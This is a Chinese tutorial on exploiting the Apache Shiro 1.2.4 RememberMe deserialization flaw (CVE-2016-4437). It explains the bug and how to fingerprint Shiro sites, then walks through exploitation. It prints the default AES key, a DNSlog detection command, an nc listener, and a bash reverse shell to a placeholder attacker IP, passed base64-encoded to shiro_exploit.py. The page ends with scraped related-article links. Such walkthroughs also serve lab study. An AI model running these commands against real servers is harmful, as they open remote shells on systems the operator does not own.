目录

一. 漏洞描述

二. 影响版本

三. shiro特征

四. 如何判断网站是否使用shiro

五. 漏洞环境搭建

六. 漏洞利用

shiro_exploit.py

jar工具

七. 记一次Shiro实战(目标不出网)


一. 漏洞描述

Apache Shiro 1.2.4 反序列化漏洞即shiro-550反序列化漏洞。Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。

工 作 原 理

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。

Shiro记住用户会话功能的逻辑为:

获取RememberMe的值 —> Base64解密 —> ASE解密 –> 反序列化

在服务端接收cookie值时,按照如下步骤来解析处理:

1、检索RememberMe cookie 的值
2、Base 64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。

漏 洞 原 理

因为在反序列化时,不会对其进行过滤,所以如果传入恶意代码将会造成安全问题

在 1.2.4 版本前,是默认ASE秘钥,Key: kPH+bIxk5D2deZiIxcaaaA==,可以直接反序列化执行恶意代码。而在1.2.4之后,ASE秘钥就不为默认了,需要获取到Key才可以进行渗透

漏洞特征: shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段

二. 影响版本

  • Apache Shiro <=1.2.4

三. shiro特征

  • 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段

  • 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段

  • 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段

  • 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

四. 如何判断网站是否使用shiro

1. 找到网站登录的地方,随便输入账号密码抓包(一定要输入点击登录),看返回包是否有remembeMe字段

2. 如果以上么有返回remembeMe字段还可以尝试在请求包中的cookie中加入 rememberMe=1 ,来查看返回包是否有rememberMe=deleteMe字段。如果cookie字段有值则先清空

如我们直接访问登录的页面不进行登录,此时返回的数据包是没有remember字段的

这时,我们手动加上一个cookie:rememberMe=1,注意cookie要放在Upgrade的上面,则返回了remember字段。说明使用了shiro框架

五. 漏洞环境搭建

使用vulhub进行环境搭建,cd shiro,执行docker-compose up -d启动漏洞环境

访问8080,如下环境搭建成功

六. 漏洞利用

手工检测出了使用了shiro框架后就开始验证是否存在漏洞了如果存在则进行漏洞利用,这里漏洞检测和利用的方式有两种,一种是使用python脚本进行验证。第二种方式是使用jar工具进行验证

shiro_exploit.py

  • 脚本下载地址:https://github.com/insightglacier/Shiro_exploit
  • 基于python3,jdk1.8

1. 检测是否存在漏洞

首先去dnslog平台获取一个子域 -》DNSLog Platform

python shiro_exploit.py -t 3 -u 目标地址 -p "ping -c 2 dnslog"

查看dnslog平台,如下,说明漏洞存在

2. 执行反弹shell

(1)加密反弹shell语句

这里反弹shell的命令需要进行加密才能执行,加密网站:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T

bash -i >& /dev/tcp/攻击机ip/监听的端口 0>&1

进行加密

(2)vps开启监听

nc -lvp 6666

(3)执行反弹语句

python shiro_exploit.py -t 3 -u 目标ip -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcxxxxxxxuODguMTYyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

(4)接收反弹shell

jar工具

相较于上面的python脚本,图形化工具操作起来更加的简单

工具下载地址:https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/tag/v2.51

1. 输入测试的URL ,点击下一步

2. 选择检测方式

有时候ceye.io方式检测不出来说不存在反序列化漏洞,则选择dnslog方式测一下

3. 然后点击下一步

判断是否存在漏洞

程序在判断目标应用是否存在漏洞时,窗口上部的输入框无法进行输入。
当程序检测出目标应用存在漏洞时,输入框可以进行输入并执行命令。

可以输入命令说明存在漏洞,输入id

4. 反弹shell(目标可以出网的前提下)

vps开启监听,选择反弹shell

5. 成功反弹shell

七. 记一次Shiro实战(目标不出网)

传送门-》记一次Shiro实战(目标不出网)

Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )相关推荐

  1. Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

    目录 1.Apache Shiro简介 2.漏洞原理 关键因素: 漏洞分析: 漏洞特征: 3.影响版本 4.漏洞复现 任意命令执行 GETSHELL 防御措施 1.Apache Shiro简介 Apa ...

  2. shiro反序列化工具_Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)源码解析

    Apache Shiro Apache Shiro是一个功能强大且灵活的开源安全框架,主要功能包括用户认证.授权.会话管理以及加密.在了解该漏洞之前,建议学习下Apache Shiro是怎么使用. d ...

  3. Shiro的Java原生反序列化漏洞

    参考: http://www.lmxspace.com/2019/10/17/Shiro-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%AE%B0%E5%BD%95/ ...

  4. Apache Shiro Padding Oracle Attack (Shiro-721)漏洞复现

    Apache Shiro Padding Oracle Attack (Shiro-721)漏洞复现 环境搭建 安装git 使用dockerfile 启动docker 获取dockerfile 查看是 ...

  5. shiro反序列化漏洞学习(工具+原理+复现)

    工具准备 1.java8 C:\Program Files\Java 2.冰蝎 C:\Users\ali\Desktop\tools\Behinder_v4.0.6 3.shiro反序列化 图形化工具 ...

  6. 经典的Shiro反序列化漏洞分析

    更多黑客技能 公众号:小道黑客 作者:掌控安全-holic 0x01.前言 相信大家总是面试会问到java反序列化,或者会问到标志性的漏洞,比如shiro反序列化,或者weblogic反序列化漏洞. ...

  7. java反序列化漏洞的一些gadget

    目录 0x00 URLDNS 0x01 Commons Collections 0x02 RMI的codebase任意代码执行 0x03 JNDI 0x04 LDAP 0x05 JDK7u21 首先说 ...

  8. Apache Shiro<=1.2.4反序列化RCE漏洞

    版本:Apache Shiro<=1.2.4 介绍:Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. 漏洞原因:因为shiro对cookie里的r ...

  9. Apache Shiro RememberMe 1.2.4 反序列化过程命令执行漏洞【原理扫描】

    文章目录 一.分析定位 1. 漏洞描述 2. 项目引发漏洞简述 二. 若依系统 2.1. 版本升级 2.2. 配置文件 2.3. 推荐做法 2.4. 栗子 2.5. 项目场景 三.Gus系统 3.1. ...

  10. Apache Shiro Java 反序列化漏洞分析

    Shiro概述 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.目前在Java web应用安全框架中,最热门的产品有Spring Security和Sh ...

最新文章

  1. MindSpore图像分类模型支持(Lite)
  2. 听说你用JavaScript写代码?本文是你的机器学习指南
  3. HP380G7服务器安装fedaro16的问题解决
  4. 华为路由器qos car+nat+dhcp+vlan配置心得
  5. bzoj1070: [SCOI2007]修车
  6. php padright,[扩展推荐] PHP 字符串操作类 Twine
  7. Display Substring
  8. java二次指数平滑法预测未来的值
  9. yml配置mysql自动重连_数据库和Doctrine(转载自http://www111cnnet/phper/332/85987htm) - Doctrine...
  10. I00038 自守数(Automorphic number)
  11. 深度学习2.0-10.tensorflow的高阶操作之张量的限幅
  12. android 基础布局
  13. 【ES6-阮一峰博客阅读笔记】
  14. Bazinga 题解
  15. Android自定义进度条拖动,Android之ProgressBar(进度条)和SeekBar(拖动条)
  16. 用python画爱心写一句话_python中用turtle画爱心表白
  17. 充电桩测试设备TK4860C交流充电桩检定装置
  18. 太牛了,国人纯手工自制CPU,耗时半年,用了3000多个晶体管
  19. 积累的VC编程小技巧之打印相关
  20. 中国最大–深圳企业列表

热门文章

  1. 小游戏上传分数是怎么实现的_如何利用微信小游戏做公众号吸粉营销活动
  2. Mac Mini 安装Ubuntu20.04 KVM
  3. ps html 优化,PS基线基线已优化连续的区别是什么?
  4. 数据倾斜的原因及解决方案
  5. 一套成熟的BPM系统应该有的功能
  6. 开源机器人库orocos KDL 学习笔记(三):Kinematric Chain
  7. 泰拉瑞亚服务器config修改,泰拉瑞亚配置修改方法详解 泰拉瑞亚怎么修改游戏配置 Config文件-游侠网...
  8. windows10的etc路径下没有hosts文件
  9. 互联网思维之简约思维
  10. Android蓝牙自动配对Demo,亲测好使!!!